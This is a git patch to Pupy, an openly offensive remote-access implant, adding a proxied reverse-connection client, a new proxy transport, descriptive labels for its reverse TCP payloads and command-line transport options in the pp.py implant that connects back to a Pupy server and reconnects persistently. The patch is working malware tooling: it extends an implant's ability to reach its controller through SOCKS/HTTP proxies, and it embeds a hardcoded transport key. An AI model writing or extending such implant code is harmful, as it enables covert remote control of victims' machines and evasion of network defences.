From b0f18962e1aa04c8d791e4cbeeb8e440ee5b5428 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 5 Nov 2015 20:21:14 +0100 Subject: [PATCH] adding modules customisation from commandline --- pupy/network/clients.py | 38 ++++++++++++++++++++++++++++++++++++++ pupy/network/conf.py | 21 +++++++++++++++++++-- pupy/pp.py | 38 ++++++++++++++++++++++++++++++-------- 3 files changed, 87 insertions(+), 10 deletions(-) diff --git a/pupy/network/clients.py b/pupy/network/clients.py index 53acfe1e..21e5a9f8 100644 --- a/pupy/network/clients.py +++ b/pupy/network/clients.py @@ -2,6 +2,7 @@ import socket import ssl +from . import socks class PupyClient(object): def connect(self, host, port, timeout=3): @@ -38,6 +39,42 @@ class PupyTCPClient(PupyClient): self.sock=s return s +class PupyProxifiedTCPClient(PupyTCPClient): + def __init__(self, *args, **kwargs): + self.proxy_addr=kwargs.pop('proxy_addr', None) + if not self.proxy_addr: + raise AssertionError("proxy_addr argument is mandatory") + self.proxy_port=kwargs.pop('proxy_port', None) + if not self.proxy_port: + raise AssertionError("proxy_port argument is mandatory") + self.proxy_type=kwargs.pop('proxy_type', "HTTP").upper() + if self.proxy_type not in socks.PROXY_TYPES: + raise SystemExit("Unknown proxy type %s"%self.proxy_type) + self.proxy_username=kwargs.pop('proxy_username', None) + self.proxy_password=kwargs.pop('proxy_password', None) + super(PupyProxifiedTCPClient, self).__init__(*args, **kwargs) + + def connect(self, host, port): + socks.set_default_proxy(proxy_type=socks.PROXY_TYPES[self.proxy_type], addr=self.proxy_addr, port=self.proxy_port, rdns=True, username=self.proxy_username, password=self.proxy_password) + family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0] + s=socks.socksocket(family, socktype, proto) + s.settimeout(self.timeout) + print "connecting..." + s.connect(sockaddr) + print "connected" + if self.nodelay: + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + if self.keepalive: + s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) + # Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes. + # Drop connection after 10 failed keepalives + if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT") : + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60) + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60) + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10) + self.sock=s + print "let's rock" + return s class PupySSLClient(PupyTCPClient): def __init__(self, *args, **kwargs): @@ -63,3 +100,4 @@ class PupySSLClient(PupyTCPClient): s=super(PupySSLClient, self).connect(host, port) return ssl.wrap_socket(s, **self.ssl_kwargs) + diff --git a/pupy/network/conf.py b/pupy/network/conf.py index cf30243a..0d4f2e51 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -2,7 +2,7 @@ # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms from .servers import PupyTCPServer -from .clients import PupyTCPClient, PupySSLClient +from .clients import PupyTCPClient, PupySSLClient, PupyProxifiedTCPClient from .transports import dummy, b64 from .transports.obfs3 import obfs3 import logging @@ -27,12 +27,13 @@ def ssl_authenticator(): config.read("pupy.conf") return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") -#scramblesuit password must be 20 char +#scramblesuit password must be 20 char long scramblesuit_passwd="th!s_iS_pupy_sct_k3y" transports=dict() transports["tcp_ssl"]={ + "info" : "Simple reverse TCP payload with SSL", "server" : PupyTCPServer, "client": PupySSLClient, "client_kwargs" : {}, @@ -44,6 +45,7 @@ transports["tcp_ssl"]={ "server_transport_kwargs": {}, } transports["tcp_cleartext"]={ + "info" : "Simple reverse TCP payload (cleartext)", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, @@ -54,7 +56,20 @@ transports["tcp_cleartext"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["tcp_cleartext_proxy"]={ + "info" : "Simple reverse TCP payload in cleartext passing through a SOCKS4/SOCKS5/HTTP proxy", + "server" : PupyTCPServer, + "client": PupyProxifiedTCPClient, + "client_kwargs" : {'proxy_addr':'127.0.0.1', 'proxy_port':8080, 'proxy_type':'HTTP'}, + "authenticator" : None, + "stream": PupySocketStream , + "client_transport" : dummy.DummyPupyTransport, + "server_transport" : dummy.DummyPupyTransport, + "client_transport_kwargs": {}, + "server_transport_kwargs": {}, + } transports["tcp_base64"]={ + "info" : "Reverse TCP payload with base64 encoding", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, @@ -66,6 +81,7 @@ transports["tcp_base64"]={ "server_transport_kwargs": {}, } transports["obfs3"]={ + "info" : "Reverse TCP Payload using obfs3 transport", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, @@ -78,6 +94,7 @@ transports["obfs3"]={ } if scramblesuit: transports["scramblesuit"]={ + "info" : "Reverse TCP Payload using scramblesuit transport", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, diff --git a/pupy/pp.py b/pupy/pp.py index 02f4cde8..457d17b4 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -29,7 +29,6 @@ import os import subprocess import threading import multiprocessing -import logging import StringIO import json import urllib2 @@ -42,6 +41,7 @@ import imp import argparse from network.conf import transports import logging +import shlex #logging.getLogger().setLevel(logging.DEBUG) @@ -115,9 +115,11 @@ def main(): parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n") parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ") parser.add_argument('host', metavar='host:port', help='The address of the pupy server to connect to') + parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP") args=parser.parse_args() HOST=args.host TRANSPORT=args.transport + TRANSPORT_ARGS=args.transport_args if "windows" in platform.system().lower(): try: import pupy @@ -142,9 +144,25 @@ def main(): rport=443 print "connecting to %s:%s using transport %s ..."%(rhost, rport, TRANSPORT) t=transports[TRANSPORT] - client=t['client'](**t['client_kwargs']) + client_args=t['client_kwargs'] + transport_args=t['client_transport_kwargs'] + for val in shlex.split(' '.join(TRANSPORT_ARGS)): + tab=val.split("=",1) + if len(tab)!=2: + exit("Error: transport arguments must be in format NAME=VALUE or 'NAME=value with spaces'") + if tab[0].lower() in client_args: + client_args[tab[0].lower()]=tab[1] + elif tab[0].lower() in transport_args: + transport_args[tab[0].lower()]=tab[1] + else: + exit("unknown transport argument : %s"%tab[0]) + + print "using client options: %s"%client_args + print "using transports options: %s"%transport_args + + client=t['client'](**client_args) s=client.connect(rhost, rport) - stream = t['stream'](s, t['client_transport'], t['client_transport_kwargs']) + stream = t['stream'](s, t['client_transport'], transport_args) def check_timeout(event, cb, timeout=10): start_time=time.time() while True: @@ -167,14 +185,18 @@ def main(): while True: attempt=0 conn.serve() - except KeyboardInterrupt: - print "keyboard interrupt raised, restarting the connection" - except SystemExit: - print "SystemExit raised" - break except EOFError: print "EOF received. exiting." break + except KeyboardInterrupt: + if not getattr(sys, 'frozen', False): + print "" + break + else: + print "keyboard interrupt raised, restarting the connection" + except SystemExit as e: + print e + break except Exception as e: print e time.sleep(get_next_wait(attempt))